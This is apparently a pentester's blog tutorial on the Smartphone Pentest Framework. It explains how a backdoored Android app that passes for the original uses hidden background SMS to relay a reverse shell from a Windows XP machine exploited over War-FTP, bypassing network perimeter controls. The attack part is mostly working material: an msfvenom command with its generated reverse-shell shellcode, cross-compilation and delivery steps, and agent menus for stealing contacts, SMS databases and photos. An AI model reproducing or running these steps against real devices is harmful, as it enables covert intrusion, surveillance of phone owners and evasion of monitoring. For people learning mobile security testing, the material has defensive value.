I’ve been messing with SMS for hidden out of bounds communication since 2011. My earlier work involved a backdoored device driver:
Demo Video: Background SMS Demo
Whitepaper: Transparent Botnet Command and Control for Smartphones over SMS
PoC Code: botPoCrelease-android.c
Slides: Shmoocon 2011 Slides
Working at the application layer in Android is for one easier and also makes any code portable among different Android platforms. My PoC was device dependent for a G1, which when I did the work was the only Android device available, but a lot has changed on that front. Additionally, being able to backdoor a device driver requires elevated privileges on the device. A regular user, or an exploited app will not be able to install the driver. On the other hand, it is possible to create the same sort of scenario at the Android application layer, though we will be subject to the Android permission model. For this scenario we will utilize 3 Android permissions:
RECEIVE_SMS: In Android version less than or equal to 4.3 the Intent that notifies the system that an SMS has been received is an ordered broadcast, meaning that an app with a higher priority can intercept and hide text messages from the default app that comes with Android. Any app the has the RECEIVE_SMS permission can do this. This permission has been typically used by anti-virus/security apps to provide SMS filtering.
(Note this has changed in Android 4.4 Kitkat. Someone at Android finally took note of this glaring security issue. As of Kitkat the Intent for SMS received has changed and can only be picked up by the default SMS application. That said, the SEND_SMS permission still works. So in Kitkat you need to either trick the user into installing an app as the default SMS app, only use SMS for outgoing communication, or go back to the baseband level like my old research and capture the SMS before the Intent is fired. That said of all the Android devices in my house only the ones I bought in December have updated to Kitkat, so this will likely still be relevant for a while even at the application layer).
SEND_SMS: The SEND_SMS permission allows the app to send text messages in the background. They do not appear in the sent messages in the default text messages app. This still works even with the Kitkat update. Think users are unlikely to stand for this permission? As of this writing the Google Play app that comes installed by default on Android devices has this permission.
The other permission we will use for this technique is INTERNET, which as the name implies gives us full network access. We won’t use this directly for the SMS shell, but we will be using it to attack other devices on the infected device’s local network. This is a very common permission, and most apps you encounter will have it.
So using SMS to control a device is all well and good, but I decided to take things a step farther. In 2012 I introduced the Smartphone Pentest Framework (SPF), a tool for automating attacks against mobile devices.
SPF can be downloaded here: Github
The SPF User Guide is here: User Guide
Videos about SPF are here: SPF Videos
One of the features of SPF is an Agent or backdoored application that looks and feels like the original app but much like my original botnet research can be issued instructions and can send data back to the SPF console via HTTP or SMS. Examples of SPF payloads include grabbing a list of the installed apps and sending a text message to another device. If the infected device is connected to a WiFi network, keep in mind any HTTP based communication can be monitored and even blocked by any devices at the perimeter. On the other hand any SMS based communication is only interacting with the mobile modem and thus bypasses any controls in the network.
Consider the scenario from my previous post on using infected mobile devices to attack nearby devices. I use a mobile device infected with an SPF Agent to send an exploit to a vulnerable service on a computer on the local network. Once exploited, the vulnerable computer calls directly to a Metasploit listener on an attacker machine somewhere on the Internet based on the instructions in the shellcode I generated.
In most cases Metasploit payloads will be sufficient to bypass any perimeter controls. For instance the windows/meterpreter/reverse_https payload uses legitimate HTTPS traffic for transport and automatically uses the proxy settings of the host system. That said I have encountered a few enterprise networks where even this sophisticated transport is insufficient. In cases where you need to entirely bypass the perimeter, you can take advantage of the SPF Agent’s SMS functionality to tunnel communication between the exploited computer and an attacker controlled system on the Internet.
For this technique, you will need to have a mobile modem attached to SPF to provide the SMS communication between the SPF console and the Agent. At this time, the SMS shell pivot method we will use in this post is only supported using the SPF App mobile modem. Details on building, deploying, and attaching the SPF App modem can be found here.
For this example I will use the same vulnerable software as in the previous postWar-FTP 1.65 on Windows XP SP3. Keep in mind this attack will work with any remote vulnerability on a system the mobile device with the SPF Agent has network access to. Two example exploits for this vulnerability coded in C are included in the SPF repository in Smartphone-Pentest-Framework/exploits/Windows. In the previous post I used warftpmeterpreter.c. Here we will instead use warftpreverseshell.c. The only difference between these two exploits is the offsets in the exploit string to make room for the shellcode. Using Msfvenom your shellcode should be 341 bytes and you can just replace the shellcode variable in warftpreverseshell.c. Use the windows/shell_reverse_tcp payload in Msfvenom and set the LHOST variable to the IP address of the Agent infected phone. We will open a TCP listener on the infected phone to catch the shell before we run the exploit.
root@kali:~/Smartphone-Pentest-Framework# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.20.37 -b '\x00\x0a\x0d\x40' -f c
[*] x86/shikata_ga_nai succeeded with size 341 (iteration=1)
unsigned char buf[] =
"\xd9\xc6\xba\xab\xc5\x04\xa7\xd9\x74\x24\xf4\x5b\x29\xc9\xb1"
"\x4f\x83\xc3\x04\x31\x53\x15\x03\x53\x15\x49\x30\xf8\x4f\x04"
"\xbb\x01\x90\x76\x35\xe4\xa1\xa4\x21\x6c\x93\x78\x21\x20\x18"
"\xf3\x67\xd1\xab\x71\xa0\xd6\x1c\x3f\x96\xd9\x9d\x8e\x16\xb5"
"\x5e\x91\xea\xc4\xb2\x71\xd2\x06\xc7\x70\x13\x7a\x28\x20\xcc"
"\xf0\x9b\xd4\x79\x44\x20\xd5\xad\xc2\x18\xad\xc8\x15\xec\x07"
"\xd2\x45\x5d\x1c\x9c\x7d\xd5\x7a\x3d\x7f\x3a\x99\x01\x36\x37"
"\x69\xf1\xc9\x91\xa0\xfa\xfb\xdd\x6e\xc5\x33\xd0\x6f\x01\xf3"
"\x0b\x1a\x79\x07\xb1\x1c\xba\x75\x6d\xa9\x5f\xdd\xe6\x09\x84"
"\xdf\x2b\xcf\x4f\xd3\x80\x84\x08\xf0\x17\x49\x23\x0c\x93\x6c"
"\xe4\x84\xe7\x4a\x20\xcc\xbc\xf3\x71\xa8\x13\x0c\x61\x14\xcb"
"\xa8\xe9\xb7\x18\xca\xb3\xdf\xed\xe0\x4b\x20\x7a\x73\x3f\x12"
"\x25\x2f\xd7\x1e\xae\xe9\x20\x60\x85\x4d\xbe\x9f\x26\xad\x96"
"\x5b\x72\xfd\x80\x4a\xfb\x96\x50\x72\x2e\x38\x01\xdc\x81\xf8"
"\xf1\x9c\x71\x90\x1b\x13\xad\x80\x23\xf9\xd8\x87\xb4\xc2\x73"
"\x13\x60\xab\x81\x1b\x7b\x77\x0f\xfd\x11\x97\x59\x56\x8e\x0e"
"\xc0\x2c\x2f\xce\xde\xa4\xcc\x5d\x85\x34\x9a\x7d\x12\x63\xcb"
"\xb0\x6b\xe1\xe1\xeb\xc5\x17\xf8\x6a\x2d\x93\x27\x4f\xb0\x1a"
"\xa5\xeb\x96\x0c\x73\xf3\x92\x78\x2b\xa2\x4c\xd6\x8d\x1c\x3f"
"\x80\x47\xf2\xe9\x44\x11\x38\x2a\x12\x1e\x15\xdc\xfa\xaf\xc0"
"\x99\x05\x1f\x85\x2d\x7e\x7d\x35\xd1\x55\xc5\x45\x98\xf7\x6c"
"\xce\x45\x62\x2d\x93\x75\x59\x72\xaa\xf5\x6b\x0b\x49\xe5\x1e"
"\x0e\x15\xa1\xf3\x62\x06\x44\xf3\xd1\x27\x4d";
If we just compile this with gcc, it will work fine on my Linux box, but I need it to run on my Android. Only my Android has direct network access to the Windows XP system and thus to the vulnerability. Luckily there are cross compilers for Android C code, one of which is included in the SPF repo.
(For installation instructions for SPF check out the User Manual or this video, Setting up and running SPF is covered here.
From the SPF main menu choose option 9.) Compile code to run on mobile devices
Welcome to the Smartphone Pentest Framework!
v0.2.5
Georgia Weidman/Bulb Security
Select An Option from the Menu:
1.) Attach Framework to a Deployed Agent/Create Agent
2.) Send Commands to an Agent
3.) View Information Gathered
4.) Attach Framework to a Mobile Modem
5.) Run a remote attack
6.) Run a social engineering or client side attack
7.) Clear/Create Database
8.) Use Metasploit
9.) Compile code to run on mobile devices
10.) Install Stuff
11.) Use Drozer
0.) Exit
spf> 9
Compile code to run on mobile devices
1.) Compile C code for ARM Android
spf> 1
Compiles C code to run on ARM based Android devices. Supply the C code file and the output filename
File to Compile: /root/Smartphone-Pentest-Framework/exploits/Windows/warftpreverseshell.c
Output File: /root/Smartphone-Pentest-Framework/exploits/Windows/warftp2
Now we need to drop this compiled C file onto an infected mobile device. For this you will need an attached SPF Agent. Details on SPF Agents, how they work, and how to create and attach one to the SPF console are covered in the SPF User GuideAgents section.
Once a device is attached use the Agent Control menu option 2.) Send Commands to an Agent. You will be presented with a list of attached agents. Choose the id of the Agent you want to interact with. You are then presented with a list of commands.
spf> 2
Available Agents:
1.) +16017502059
Select an agent to interact with or 0 to return to the previous menu
spf> 1
Commands:
1.) Send SMS
2.) Take Picture
3.) Get Contacts
4.) Get SMS Database
5.) Privilege Escalation
6.) Download File
7.) Execute Command
8.) Upload File
9.) Ping Sweep
10.) TCP Listener
11.) Connect to Listener
12.) Run Nmap
13.) Execute Command and Upload Results
14.) Get Installed Apps List
15.) Remove Locks (Android < 4.4)
Choose option 6.) Download File and tell it to download the compiled C code. You will also be prompted for where you want to put it on the web server as well as the delivery method (HTTP or SMS).
spf> 6
Downloads a file to the phone. Fill in the file and the delivery method(SMS or HTTP).
File to download: /root/Smartphone-Pentest-Framework/exploits/Windows/warftp2
Hosting Path: /hgfd
Filename: /warftp2
Delivery Method(SMS or HTTP): HTTP
Up until now the process has been the same as the example in the last post. But now instead of setting up a listener in Metasploit to catch the incoming shell, we need to open a listener on the Agent infected phone. From the Agents Command menu choose option 10.) TCP Listener. Set the delivery method. In this case, the Return Method will be the communication method between SPF and the Agent for the shell connection. Set this to SMS. You will also be prompted for the port. Since we did not specify the port with Msfvenom, we need to set this to the Metasploit default port 4444.
spf> 10
Open a TCP listener on the phone. Fill in the delivery method(SMS or HTTP) and return method (SMS or HTTP) as well as the port to listen on.
Delivery Method(SMS or HTTP)
spf> HTTP
Return Method(SMS or HTTP)
spf> SMS
Port:
spf> 4444
This will instruct the Agent to open a TCP listener on port 4444 on the infected device. If a connection is received, it will forward any data to its controlling mobile modem which will send the data to the SPF console. An data entered into the shell via the SPF console will be forwarded to the mobile modem, which will forward it to the Agent via background SMS, which will send it to the exploited computer via the TCP connection.
Now from the Agent Commands menu choose 7.) Execute Command. The provided example exploit requires the IP address of the target computer and the port (21 for FTP).
Select a command to perform or 0 to return to the previous menu
spf> 7
Run a command in the terminal. Fill in the command and the delivery method(SMS or HTTP).
Command: warftp2 192.168.20.29 21
Downloaded?: yes
Delivery Method(SMS or HTTP): HTTP
Now from the Agent Commands menu choose option 11.) Connect to Listener. Enter the port number of the listener. Enter the port (4444) and the communication method (SMS). You will be dropped into a shell console in SPF. If the War-FTP exploit is successful you should receive a Windows command prompt. Enter any commands and they will be sent to the target and the response will be sent back to the SPF console. Naturally, the speed of this shell will be dependent on the cell service of the Agent infected device as well as the control modem. Under good service conditions the delay is only a few seconds.
spf> 11
Port: 4444
Communication Method(HTTP or SMS): SMS
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
---
ipconfig
C:\Documents and Settings\georgia\Desktop>ipconfig
---
---Windows IP Configuration---
---
---------
Ethernet adapter Local Area Connection:
------
--- Connection-specific DNS Suffix . : XXXX
---
IP Address. . . . . . . . . . . . : 192.168.20.29
..snip...
SPF is an open source project, and we welcome contributions. In the next post we will look at how SPF backdoors APK files programmatically.